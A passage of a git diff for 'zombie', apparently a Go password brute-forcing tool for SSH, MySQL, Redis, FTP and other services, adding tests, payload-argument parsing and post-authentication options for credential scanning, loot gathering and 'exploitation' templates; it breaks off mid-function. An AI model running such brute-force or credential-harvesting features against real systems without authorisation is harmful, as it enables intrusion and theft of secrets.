nil, err + } + return []*service.Template{&tmpl}, nil +} + +func LoadServiceTemplatesFromData(data []byte) ([]*service.Template, error) { + if len(data) == 0 { + return nil, nil + } + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var list []service.Template + if err := yaml.Unmarshal(data, &list); err != nil { + return loadServiceTemplateBytes(data, execOpts) + } + var all []*service.Template + for i := range list { + tmpl := &list[i] + if len(tmpl.RequestsService) == 0 && len(tmpl.RequestsHTTP) == 0 && len(tmpl.RequestsNetwork) == 0 { + continue + } + if err := tmpl.Compile(execOpts); err != nil { + logs.Log.Debugf("[service] skip embedded template %s: %v", tmpl.Id, err) + continue + } + all = append(all, tmpl) + } + return all, nil +} diff --git a/cmd/cmd.go b/cmd/cmd.go index 845d878..e231ea3 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -3,11 +3,14 @@ package cmd import ( "context" "fmt" - "github.com/chainreactors/zombie/core" "io" "io/ioutil" "log" "os" + "os/signal" + "syscall" + + "github.com/chainreactors/zombie/core" ) func init() { @@ -24,7 +27,9 @@ func Run(args []string, output io.Writer) int { if output == nil { output = os.Stdout } - err := core.RunWithArgs(context.Background(), args, core.RunOptions{Output: output, Version: ver}) + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer stop() + err := core.RunWithArgs(ctx, args, core.RunOptions{Output: output, Version: ver}) if err != nil { fmt.Fprintln(output, err.Error()) return 1 diff --git a/core/e2e_test.go b/core/e2e_test.go new file mode 100644 index 0000000..55633b7 --- /dev/null +++ b/core/e2e_test.go @@ -0,0 +1,462 @@ +package core + +import ( + "bytes" + "context" + "fmt" + "net" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" +) + +// === CLI parsing & validation === + +func TestE2E_Version(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"--version"}, RunOptions{ + Output: &out, + Version: "v2.0.0-test", + }) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !strings.Contains(out.String(), "v2.0.0-test") { + t.Fatalf("expected version, got: %q", out.String()) + } +} + +func TestE2E_Help(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"--help"}, RunOptions{Output: &out}) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if !strings.Contains(out.String(), "zombie") { + t.Fatalf("expected help, got: %q", out.String()) + } +} + +func TestE2E_ListServices(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"-l"}, RunOptions{Output: &out}) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + output := out.String() + for _, svc := range []string{"ssh", "mysql", "redis", "ftp", "smb", "ldap"} { + if !strings.Contains(output, svc) { + t.Errorf("service list missing %q", svc) + } + } +} + +func TestE2E_NoTargetError(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{"-s", "ssh"}, RunOptions{Output: &out}) + if err == nil { + t.Fatal("should error without target") + } +} + +func TestE2E_InvalidMod(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-m", "invalid", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("should error on invalid mod") + } + if !strings.Contains(err.Error(), "unsupported mod") { + t.Fatalf("unexpected error: %v", err) + } +} + +func TestE2E_PitchforkWithoutAuth(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-m", "pitchfork", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("pitchfork without -a should error") + } +} + +// === Proton flag validation === + +func TestE2E_ProtonWithoutTemplate(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-u", "root", "-p", "pass", "--proton", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("--proton without --scan-template should error") + } + if !strings.Contains(err.Error(), "--scan-template") { + t.Fatalf("error should mention --scan-template, got: %v", err) + } +} + +func TestE2E_ProtonWithInvalidTemplate(t *testing.T) { + var out bytes.Buffer + err := RunWithArgs(context.Background(), []string{ + "-i", "127.0.0.1", "-s", "ssh", "-u", "root", "-p", "pass", + "--proton", "--scan-template", "/nonexistent/path", + }, RunOptions{Output: &out}) + if err == nil { + t.Fatal("--proton with bad template should error") + } +} + +// === Target URL parsing === + +func TestE2E_ParseURL_SSH(t *testing.T) { + target, ok := ParseUrl("ssh://admin:pass@10.0.0.5:2222") + if !ok { + t.Fatal("should parse SSH URL") + } + assertTarget(t, target, "10.0.0.5", "2222", "ssh", "admin", "pass") +} + +func TestE2E_ParseURL_MySQL(t *testing.T) { + target, ok := ParseUrl("mysql://root:secret@db.host:3306") + if !ok { + t.Fatal("should parse MySQL URL") + } + assertTarget(t, target, "db.host", "3306", "mysql", "root", "secret") +} + +func TestE2E_ParseURL_Redis(t *testing.T) { + target, ok := ParseUrl("redis://:authpass@10.0.0.1:6379") + if !ok { + t.Fatal("should parse Redis URL") + } + if target.Service != "redis" { + t.Errorf("Service = %q, want redis", target.Service) + } +} + +func TestE2E_ParseURL_PostgreSQL(t *testing.T) { + target, ok := ParseUrl("postgresql://app:dbpass@pg.host:5432") + if !ok { + t.Fatal("should parse PostgreSQL URL") + } + if target.Service != "postgresql" { + t.Errorf("Service = %q, want postgresql", target.Service) + } +} + +// === Brute via CLI (full RunWithArgs, closed port) === + +func TestE2E_Brute_Sniper_ClosedPort(t *testing.T) { + port := findFreePort(t) + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "ssh", "-u", "root", "-p", "test", + "-m", "sniper", "--timeout", "2", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("sniper: err=%v", err) +} + +func TestE2E_Brute_ClusterBomb_ClosedPort(t *testing.T) { + port := findFreePort(t) + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "redis", "-u", "default", "-p", "test", + "-m", "clusterbomb", "--timeout", "2", + "--no-honeypot", "--no-unauth", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("clusterbomb: err=%v", err) +} + +func TestE2E_Brute_Pitchfork_ClosedPort(t *testing.T) { + port := findFreePort(t) + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "mysql", "-a", "root::password", + "-m", "pitchfork", "--timeout", "2", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("pitchfork: err=%v", err) +} + +// === Multiple services via CLI === + +func TestE2E_AllServices_ClosedPort(t *testing.T) { + port := findFreePort(t) + services := []string{"ssh", "mysql", "redis", "ftp", "postgresql", "mssql"} + + for _, svc := range services { + t.Run(svc, func(t *testing.T) { + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", svc, "-u", "test", "-p", "test", + "-m", "sniper", "--timeout", "1", + "--no-honeypot", + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("%s: err=%v", svc, err) + }) + } +} + +// === Proton pipeline via CLI === + +func TestE2E_Proton_ClosedPort(t *testing.T) { + port := findFreePort(t) + tmplDir := createE2ETemplate(t) + + var out bytes.Buffer + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + err := RunWithArgs(ctx, []string{ + "-i", fmt.Sprintf("127.0.0.1:%d", port), + "-s", "ssh", "-u", "root", "-p", "test", + "-m", "sniper", "--timeout", "1", + "--proton", "--scan-template", tmplDir, + "-q", "-f", os.DevNull, + }, RunOptions{Output: &out}) + t.Logf("proton pipeline: err=%v", err) +} + +// === Runner API === + +func TestE2E_RunnerAPI_DefaultPipeline(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("default pipeline should not error: %v", err) + } + if len(runner.Pipeline) != 0 { + t.Fatal("default pipeline should be empty") + } +} + +func TestE2E_RunnerAPI_ProtonPipeline(t *testing.T) { + tmplDir := createE2ETemplate(t) + opt := NewDefaultRunnerOption() + opt.Proton = true + opt.ScanTemplates = []string{tmplDir} + + runner := NewRunner(opt) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("build failed: %v", err) + } + if runner.PostAction == nil { + t.Fatal("expected PostAction to be set") + } + if runner.PostAction.Name() != "post" { + t.Errorf("name = %q, want post", runner.PostAction.Name()) + } +} + +func TestE2E_RunnerAPI_PluginRegistry(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + required := []string{"ssh", "mysql", "redis", "ftp", "smb", "ldap", "postgresql", "mssql", "oracle"} + for _, svc := range required { + if _, ok := runner.Plugins[svc]; !ok { + t.Errorf("registry missing %q", svc) + } + } + if runner.FallbackPlugin == nil { + t.Fatal("template fallback plugin is missing") + } +} + +// === Worker Execute (direct, no runner) === + +func TestE2E_WorkerExecute_ClosedPort(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + port := findFreePort(t) + + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: fmt.Sprintf("%d", port), + Service: "ssh", Username: "root", Password: "test", + }, + Timeout: 1, + } + + result := Execute(task, runner.Plugins, runner.FallbackPlugin, runner.Pipeline, nil) + if result.OK { + t.Error("should not succeed on closed port") + } + if result.Err == nil { + t.Error("should have error") + } + t.Logf("Execute: OK=%v, Err=%v", result.OK, result.Err) +} + +func TestE2E_WorkerExecute_WithProton_ClosedPort(t *testing.T) { + tmplDir := createE2ETemplate(t) + opt := NewDefaultRunnerOption() + opt.Proton = true + opt.ScanTemplates = []string{tmplDir} + + runner := NewRunner(opt) + runner.BuildPipeline() + port := findFreePort(t) + + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: fmt.Sprintf("%d", port), + Service: "ssh", Username: "root", Password: "test", + }, + Timeout: 1, + } + + result := Execute(task, runner.Plugins, runner.FallbackPlugin, runner.Pipeline, nil) + if result.OK { + t.Error("should not succeed on closed port") + } + if len(result.ActionResults) > 0 { + t.Error("no actions should run when Open fails") + } +} + +func TestE2E_WorkerExecute_MultipleServices_ClosedPort(t *testing.T) { + runner := NewRunner(NewDefaultRunnerOption()) + port := findFreePort(t) + + services := []string{"ssh", "mysql", "redis", "ftp", "postgresql", "mssql", "smb", "ldap"} + for _, svc := range services { + t.Run(svc, func(t *testing.T) { + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", Port: fmt.Sprintf("%d", port), + Service: svc, Username: "test", Password: "test", + }, + Timeout: 1, + } + result := Execute(task, runner.Plugins, runner.FallbackPlugin, runner.Pipeline, nil) + if result.OK { + t.Errorf("%s should not succeed on closed port", svc) + } + t.Logf("%s: OK=%v, Err=%v", svc, result.OK, result.Err) + }) + } +} + +// === Gather / Loot Pipeline === + +func TestE2E_RunnerAPI_GatherPipeline(t *testing.T) { + if len(pkg.ServiceTemplateData) == 0 { + t.Skip("embedded service templates not available (run go generate)") + } + opt := NewDefaultRunnerOption() + opt.Gather = true + + runner := NewRunner(opt) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("build failed: %v", err) + } + if len(runner.Pipeline) == 0 { + t.Fatal("--gather should create a ServiceAction in the pipeline") + } + if runner.Pipeline[0].Name() != "service" { + t.Errorf("pipeline[0].Name() = %q, want service", runner.Pipeline[0].Name()) + } + if runner.PostAction == nil { + t.Fatal("--gather should auto-create PostAction from embedded loot rules") + } +} + +func TestE2E_RunnerAPI_ProtonOverridesGatherLoot(t *testing.T) { + tmplDir := createE2ETemplate(t) + opt := NewDefaultRunnerOption() + opt.Proton = true + opt.ScanTemplates = []string{tmplDir} + opt.Gather = true + + runner := NewRunner(opt) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("build failed: %v", err) + } + if runner.PostAction == nil { + t.Fatal("PostAction should be set") + } +} + +func TestE2E_EmbeddedDataLoaded(t *testing.T) { + if len(pkg.ServiceTemplateData) == 0 { + t.Skip("embedded templates not available (run go generate)") + } + if len(pkg.LootTemplateData) == 0 { + t.Error("LootTemplateData should be loaded when ServiceTemplateData is present") + } +} + +// === Helpers === + +func findFreePort(t *testing.T) int { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + port := l.Addr().(*net.TCPAddr).Port + l.Close() + return port +} + +func createE2ETemplate(t *testing.T) string { + t.Helper() + dir := t.TempDir() + tmpl := `id: e2e-test +info: + name: E2E Test + severity: info +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "password\\s*=\\s*(\\S+)" + group: 1 +` + os.WriteFile(filepath.Join(dir, "test.yaml"), []byte(tmpl), 0644) + return dir +} + +func assertTarget(t *testing.T, target *Target, ip, port, service, user, pass string) { + t.Helper() + if target.IP != ip { + t.Errorf("IP = %q, want %q", target.IP, ip) + } + if target.Port != port { + t.Errorf("Port = %q, want %q", target.Port, port) + } + if target.Service != service { + t.Errorf("Service = %q, want %q", target.Service, service) + } + if target.Username != user { + t.Errorf("Username = %q, want %q", target.Username, user) + } + if target.Password != pass { + t.Errorf("Password = %q, want %q", target.Password, pass) + } +} diff --git a/core/key_value.go b/core/key_value.go new file mode 100644 index 0000000..b2a84a9 --- /dev/null +++ b/core/key_value.go @@ -0,0 +1,42 @@ +package core + +import ( + "fmt" + "strings" +) + +func parseKeyValueArgs(values []string) (map[string]interface{}, error) { + if len(values) == 0 { + return nil, nil + } + parsed := make(map[string]interface{}, len(values)) + for _, value := range values { + key, val, ok := strings.Cut(value, "=") + if !ok || strings.TrimSpace(key) == "" { + return nil, fmt.Errorf("invalid -V/-var value %q, expected key=value", value) + } + parsed[strings.TrimSpace(key)] = val + } + return parsed, nil +} + +func parsePayloadArgs(values []string) (map[string]interface{}, error) { + if len(values) == 0 { + return nil, nil + } + grouped := make(map[string][]string, len(values)) + for _, value := range values { + key, val, ok := strings.Cut(value, "=") + key = strings.TrimSpace(key) + if !ok || key == "" { + return nil, fmt.Errorf("invalid --payload value %q, expected key=value", value) + } + grouped[key] = append(grouped[key], val) + } + + parsed := make(map[string]interface{}, len(grouped)) + for key, vals := range grouped { + parsed[key] = vals + } + return parsed, nil +} diff --git a/core/key_value_test.go b/core/key_value_test.go new file mode 100644 index 0000000..f4abb7d --- /dev/null +++ b/core/key_value_test.go @@ -0,0 +1,46 @@ +package core + +import "testing" + +func TestParseKeyValueArgs(t *testing.T) { + got, err := parseKeyValueArgs([]string{"cmd=id", "outfile=/tmp/a b.txt"}) + if err != nil { + t.Fatalf("parseKeyValueArgs: %v", err) + } + if got["cmd"] != "id" { + t.Fatalf("unexpected cmd: %#v", got["cmd"]) + } + if got["outfile"] != "/tmp/a b.txt" { + t.Fatalf("unexpected outfile: %#v", got["outfile"]) + } +} + +func TestParseKeyValueArgsRejectsInvalid(t *testing.T) { + if _, err := parseKeyValueArgs([]string{"cmd"}); err == nil { + t.Fatal("expected invalid key=value to fail") + } +} + +func TestParsePayloadArgsPreservesRepeatedKeys(t *testing.T) { + got, err := parsePayloadArgs([]string{"key=a", "key=b", "cmd=id"}) + if err != nil { + t.Fatalf("parsePayloadArgs: %v", err) + } + keyVals, ok := got["key"].([]string) + if !ok { + t.Fatalf("expected key payload to be []string, got %#v", got["key"]) + } + if len(keyVals) != 2 || keyVals[0] != "a" || keyVals[1] != "b" { + t.Fatalf("unexpected key payload values: %#v", keyVals) + } + cmdVals, ok := got["cmd"].([]string) + if !ok || len(cmdVals) != 1 || cmdVals[0] != "id" { + t.Fatalf("unexpected cmd payload values: %#v", got["cmd"]) + } +} + +func TestParsePayloadArgsRejectsInvalid(t *testing.T) { + if _, err := parsePayloadArgs([]string{"cmd"}); err == nil { + t.Fatal("expected invalid key=value to fail") + } +} diff --git a/core/mongo_unauth_test.go b/core/mongo_unauth_test.go new file mode 100644 index 0000000..f37a85e --- /dev/null +++ b/core/mongo_unauth_test.go @@ -0,0 +1,30 @@ +package core + +import ( + "errors" + "testing" + + "github.com/chainreactors/utils/parsers" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin" + mongoplugin "github.com/chainreactors/zombie/plugin/mongo" +) + +func TestMongoUnauthUsesRealProbe(t *testing.T) { + task := &pkg.Task{ + ZombieResult: &parsers.ZombieResult{ + IP: "127.0.0.1", + Port: "27017", + Service: "mongo", + Mod: parsers.ZombieModUnauth, + }, + Timeout: 2, + } + plugins := map[string]plugin.Plugin{"mongo": &mongoplugin.MongoPlugin{}} + + res := ExecuteUnauth(task, plugins, nil, nil, nil) + + if errors.Is(res.Err, pkg.NotImplUnauthorized) { + t.Fatalf("mongo Unauth is still a stub (NotImplUnauthorized)") + } +} diff --git a/core/options.go b/core/options.go index 7897088..937e72b 100644 --- a/core/options.go +++ b/core/options.go @@ -1,318 +1,364 @@ -package core - -import ( - "encoding/json" - "errors" - "fmt" - "github.com/chainreactors/logs" - "github.com/chainreactors/utils" - "github.com/chainreactors/utils/fileutils" - "github.com/chainreactors/zombie/pkg" - "io/ioutil" - "strings" -) - -type Option struct { - InputOptions `group:"Input Options"` - OutputOptions `group:"Output Options"` - WordOptions `group:"Word Options"` - MiscOptions `group:"Misc Options"` -} - -type InputOptions struct { - IP []string `short:"i" long:"ip" alias:"ipp" description:"String, input ip"` - IPFile string `short:"I" long:"IP" description:"File, input ip list filename"` - CIDR []string `short:"c" long:"cidr" description:"String, input cidr"` - Username []string `short:"u" long:"user" description:"Strings, input usernames"` - UsernameFile string `short:"U" long:"USER" description:"File, input username list filename"` - Auth []string `short:"a" long:"auth" description:"Strings, input auth, username::password"` - AuthFile string `short:"A" long:"AUTH" description:"File, input auth list filename"` - UsernameRule string `long:"userrule" description:"String, input username generator rule filename"` - Password []string `short:"p" long:"pwd" description:"String, input passwords"` - PasswordFile string `short:"P" long:"PWD" description:"File, input password list filename"` - PasswordRule string `long:"pwdrule" description:"String, input password generator rule filename"` - Dictionaries []string `short:"d" long:"dict" description:"Strings, input dictionaries"` - JsonFile string `short:"j" long:"json" description:"File, input json result filename"` - GogoFile string `short:"g" long:"gogo" description:"File, input gogo result filename"` - ServiceName string `short:"s" long:"service" description:"String, input service name"` - FilterService string `short:"S" long:"filter-service" description:"String, filter service when input json/gogo file"` - Param map[string]string `long:"param" description:"params"` -} - -type OutputOptions struct { - OutputFile string `short:"f" long:"file" description:"File, output result filename"` - FileFormat string `short:"O" long:"file-format" default:"json" description:"String, output result file format"` - OutputFormat string `short:"o" long:"format" default:"string" description:"String, output result format"` - Debug bool `long:"debug" description:"Bool, enable debug"` - Quiet bool `short:"q" long:"quiet" description:"Bool, quiet mode"` -} - -type WordOptions struct { - Top int `long:"top" default:"0" description:"Int, top n words"` - ForceContinue bool `long:"force-continue" description:"Bool, force continue, not only stop when first success ever host"` - WeakPassWord bool `long:"weakpass" description:"Bool, common weak password rule"` - NoUnAuth bool `long:"no-unauth" description:"Bool, skip check unauth"` - NoCheckHoneyPot bool `long:"no-honeypot" description:"Bool, skip check honeypot"` -} - -type MiscOptions struct { - Raw bool `long:"raw" description:"Bool, parser raw username/password"` - Strict bool `long:"strict" description:"Bool, strict mode, when finger check pass will brute"` - Threads int `short:"t" default:"100" description:"Int, threads"` - Concurrency int `long:"concurrency" default:"8" description:"Int, max concurrent connections per host, keep below service rate-limits e.g. sshd MaxStartups(default 10) to avoid random connection drops being misread as wrong password; 0=unlimited"` - Timeout int `long:"timeout" default:"5" description:"Int, timeout"` - Mod string `short:"m" default:"clusterbomb" description:"String, clusterbomb/pitchfork/sniper"` - ListService bool `short:"l" long:"list" description:"Bool, list all service"` - Bar bool `long:"bar" description:"Bool, enable bar"` - Version bool `long:"version" description:"Bool, show version"` -} - -func (opt *Option) Validate() error { - if opt.Mod == "" { - opt.Mod = ModBomb - } - switch opt.Mod { - case ModBomb, ModPitchFork, ModSniper: - default: - return fmt.Errorf("unsupported mod %q, want clusterbomb, pitchfork, or sniper", opt.Mod) - } - if len(opt.IP) == 0 && opt.IPFile == "" && opt.JsonFile == "" && opt.GogoFile == "" && opt.CIDR == nil { - return errors.New("please input ip or or file or json file or gogo file") - } - if opt.Mod == ModPitchFork && opt.Auth == nil && opt.AuthFile == "" { - return errors.New("pitchfork mode requires auth, please set -a/-A") - } - if opt.WeakPassWord && (opt.Password == nil && opt.PasswordFile == "") { - return errors.New("use weak-password rule must set password, please set -p/-P") - } - if opt.PasswordRule != "" && (opt.Password == nil && opt.PasswordFile == "") { - return errors.New("use custom password rule must set password, please set -p/-P") - } - if opt.UsernameRule != "" && (opt.Username == nil && opt.UsernameFile == "") { - return errors.New("use custom username rule must set username, please set -u/-U") - } - return nil -} - -func (opt *Option) Prepare() (*Runner, error) { - var err error - var targets []*Target - - var file *fileutils.File - var outfunc func(string) - if opt.OutputFile != "" { - file, err = fileutils.NewFile(opt.OutputFile, fileutils.ModeAppend, false, false) - if err != nil { - return nil, err - } - outfunc = func(s string) { - if err := file.SyncWrite(s); err != nil { - logs.Log.Warn(fmt.Sprintf("write output file failed: %v", err)) - } - } - } - - runnerOpt := &RunnerOption{ - Threads: opt.Threads, - Concurrency: opt.Concurrency, - Timeout: opt.Timeout, - Top: opt.Top, - Mod: opt.Mod, - FirstOnly: !opt.ForceContinue, - NoUnAuth: opt.NoUnAuth, - NoCheckHoneyPot: opt.NoCheckHoneyPot, - Strict: opt.Strict, - Raw: opt.Raw, - } - - runner := NewRunner(runnerOpt) - runner.File = file - runner.OutFunc = outfunc - runner.FileFormat = opt.FileFormat - runner.OutputFormat = opt.OutputFormat - - if opt.Bar { - pkg.InitBar() - } - - logs.Log.Importantf("mod: %s, check-unauth: %t, check-honeypot: %t", runner.Mod, !runner.NoUnAuth, !runner.NoCheckHoneyPot) - - if opt.ServiceName != "" { - runner.Services = strings.Split(strings.ToLower(opt.ServiceName), ",") - } - - if opt.JsonFile != "" { - // load json file - content, err := ioutil.ReadFile(opt.JsonFile) - if err != nil { - return nil, err - } - err = json.Unmarshal(content, &targets) - if err != nil { - return nil, err - } - logs.Log.Importantf("load %d targets from json: %s ", len(targets), opt.JsonFile) - } else if opt.GogoFile != "" { - targets, err = LoadGogoFile(opt.GogoFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load %d targets from gogo: %s ", len(targets), opt.GogoFile) - } else { - var ipg *Generator - - if opt.IP != nil { - ipg = NewGeneratorWithInput(opt.IP) - } else if opt.IPFile != "" { - ipg, err = NewGeneratorWithFile(opt.IPFile) - if err != nil { - return nil, err - } - } else if opt.CIDR != nil { - ipg = NewGeneratorWithChan(transformChan(utils.ParseCIDRs(opt.CIDR).Range())) - } - - if ipg == nil { - return nil, fmt.Errorf("not any ip input") - } - - ipg.Run() - - // 处理输入参数 - for input := range ipg.C { - t, ok := ParseUrl(input) - if !ok { - t = SimpleParseUrl(input) - } - - targets = append(targets, t) - } - if opt.IPFile != "" { - logs.Log.Importantf("load %d targets from file: %s", len(targets), opt.IPFile) - } - } - - for _, t := range targets { - // 如果指定了service, 将会覆盖json或gogo中的字段 - if opt.ServiceName != "" { - t.UpdateService(opt.ServiceName) - } - - if t.Service == "" { - logs.Log.Warn(t.String() + " null service") - continue - } - - if opt.FilterService != "" { - var ok bool - for _, s := range strings.Split(opt.FilterService, ",") { - if s == t.Service { - ok = true - break - } - } - if !ok { - continue - } - } - - // 命令行中指定的 param 会覆盖原有的配置 - if len(opt.Param) > 0 { - t.Param = opt.Param - } - runner.Targets = append(runner.Targets, t) - } - - var dicts [][]string - if opt.Dictionaries != nil { - var s strings.Builder - dicts = make([][]string, len(opt.Dictionaries)) - for i, f := range opt.Dictionaries { - dicts[i], err = loadFileToSlice(f) - if err != nil { - return nil, err - } - s.WriteString(fmt.Sprintf("%s: %ditems", f, len(dicts[i]))) - } - - logs.Log.Importantf("load dictionaries: %s", s.String()) - } - - var users, pwds *Generator - // load username - if opt.Username != nil { - if len(opt.Username) == 1 && dicts != nil { - users, err = NewGeneratorWithWord(opt.Username[0], dicts, nil) - if err != nil { - return nil, err - } - logs.Log.Importantf("parse username from %s", opt.Username[0]) - } else { - users = NewGeneratorWithInput(opt.Username) - } - } else if opt.UsernameFile != "" { - users, err = NewGeneratorWithFile(opt.UsernameFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load username from %s", opt.UsernameFile) - } - if opt.UsernameRule != "" { - err := users.SetRuleFile(opt.UsernameRule) - if err != nil { - return nil, err - } - } - runner.Users = users - - // load password - if opt.Password != nil { - if len(opt.Password) == 1 && dicts != nil { - pwds, err = NewGeneratorWithWord(opt.Password[0], dicts, nil) - if err != nil { - return nil, err - } - logs.Log.Importantf("parse password from %s ", opt.Password[0]) - } else { - pwds = NewGeneratorWithInput(opt.Password) - } - } else if opt.PasswordFile != "" { - pwds, err = NewGeneratorWithFile(opt.PasswordFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load password from %s", opt.PasswordFile) - } - if opt.PasswordRule != "" { - err := pwds.SetRuleFile(opt.PasswordRule) - if err != nil { - return nil, err - } - } else if opt.WeakPassWord { - err := pwds.SetInternalRule("weakpass") - if err != nil { - return nil, err - } - } - runner.Pwds = pwds - - // load auth pair - var auths *Generator - if opt.Auth != nil { - auths = NewGeneratorWithInput(opt.Auth) - } else if opt.AuthFile != "" { - auths, err = NewGeneratorWithFile(opt.AuthFile) - if err != nil { - return nil, err - } - logs.Log.Importantf("load auth from %s", opt.AuthFile) - } - if auths != nil { - runner.Auths = auths - runner.Mod = ModPitchFork - } - - runner.bar = pkg.NewBar("targets", len(targets), runner.stat) - - return runner, nil -} +package core + +import ( + "encoding/json" + "errors" + "fmt" + "github.com/chainreactors/logs" + "github.com/chainreactors/utils" + "github.com/chainreactors/utils/fileutils" + "github.com/chainreactors/zombie/pkg" + "io/ioutil" + "strings" +) + +type Option struct { + InputOptions `group:"Input Options"` + OutputOptions `group:"Output Options"` + WordOptions `group:"Word Options"` + ActionOptions `group:"Post-Auth Actions"` + MiscOptions `group:"Misc Options"` +} + +type InputOptions struct { + IP []string `short:"i" long:"ip" alias:"ipp" description:"String, input ip"` + IPFile string `short:"I" long:"IP" description:"File, input ip list filename"` + CIDR []string `short:"c" long:"cidr" description:"String, input cidr"` + Username []string `short:"u" long:"user" description:"Strings, input usernames"` + UsernameFile string `short:"U" long:"USER" description:"File, input username list filename"` + Auth []string `short:"a" long:"auth" description:"Strings, input auth, username::password"` + AuthFile string `short:"A" long:"AUTH" description:"File, input auth list filename"` + UsernameRule string `long:"userrule" description:"String, input username generator rule filename"` + Password []string `short:"p" long:"pwd" description:"String, input passwords"` + PasswordFile string `short:"P" long:"PWD" description:"File, input password list filename"` + PasswordRule string `long:"pwdrule" description:"String, input password generator rule filename"` + Dictionaries []string `short:"d" long:"dict" description:"Strings, input dictionaries"` + JsonFile string `short:"j" long:"json" description:"File, input json result filename"` + GogoFile string `short:"g" long:"gogo" description:"File, input gogo result filename"` + ServiceName string `short:"s" long:"service" description:"String, input service name"` + FilterService string `short:"S" long:"filter-service" description:"String, filter service when input json/gogo file"` + Param map[string]string `long:"param" description:"params"` +} + +type OutputOptions struct { + OutputFile string `short:"f" long:"file" description:"File, output result filename"` + FileFormat string `short:"O" long:"file-format" default:"json" description:"String, output result file format"` + OutputFormat string `short:"o" long:"format" default:"string" description:"String, output result format"` + Debug bool `long:"debug" description:"Bool, enable debug"` + Quiet bool `short:"q" long:"quiet" description:"Bool, quiet mode"` +} + +type WordOptions struct { + Top int `long:"top" default:"0" description:"Int, top n words"` + ForceContinue bool `long:"force-continue" description:"Bool, force continue, not only stop when first success ever host"` + WeakPassWord bool `long:"weakpass" description:"Bool, common weak password rule"` + NoUnAuth bool `long:"no-unauth" description:"Bool, skip check unauth"` + NoCheckHoneyPot bool `long:"no-honeypot" description:"Bool, skip check honeypot"` +} + +type MiscOptions struct { + Raw bool `long:"raw" description:"Bool, parser raw username/password"` + Strict bool `long:"strict" description:"Bool, strict mode, when finger check pass will brute"` + Threads int `short:"t" default:"100" description:"Int, threads"` + Concurrency int `long:"concurrency" default:"8" description:"Int, max concurrent connections per host, keep below service rate-limits e.g. sshd MaxStartups(default 10) to avoid random connection drops being misread as wrong password; 0=unlimited"` + Timeout int `long:"timeout" default:"5" description:"Int, timeout"` + Mod string `short:"m" default:"clusterbomb" description:"String, clusterbomb/pitchfork/sniper"` + ListService bool `short:"l" long:"list" description:"Bool, list all service"` + Bar bool `long:"bar" description:"Bool, enable bar"` + Version bool `long:"version" description:"Bool, show version"` +} + +type ActionOptions struct { + Proton bool `long:"proton" description:"post-auth: collect info + run proton credential scan"` + ScanTemplates []string `long:"scan-template" description:"proton template file or directory for --proton"` + ServiceTemplates []string `long:"service-template" description:"service protocol template file or directory for post-auth exploitation"` + ServiceVars []string `short:"V" long:"var" description:"custom service-template variables in key=value format"` + ServicePayloads []string `long:"payload" description:"custom service-template payloads in key=value format; repeat key for multiple values"` + Gather bool `long:"gather" description:"post-auth: run built-in service templates for info gathering (tag=gather)"` + Risk string `long:"risk" description:"filter service templates by max risk level (safe/dangerous/critical)"` + Tags []string `long:"tags" description:"filter service templates by tags"` +} + +func (opt *Option) Validate() error { + if opt.Mod == "" { + opt.Mod = ModBomb + } + switch 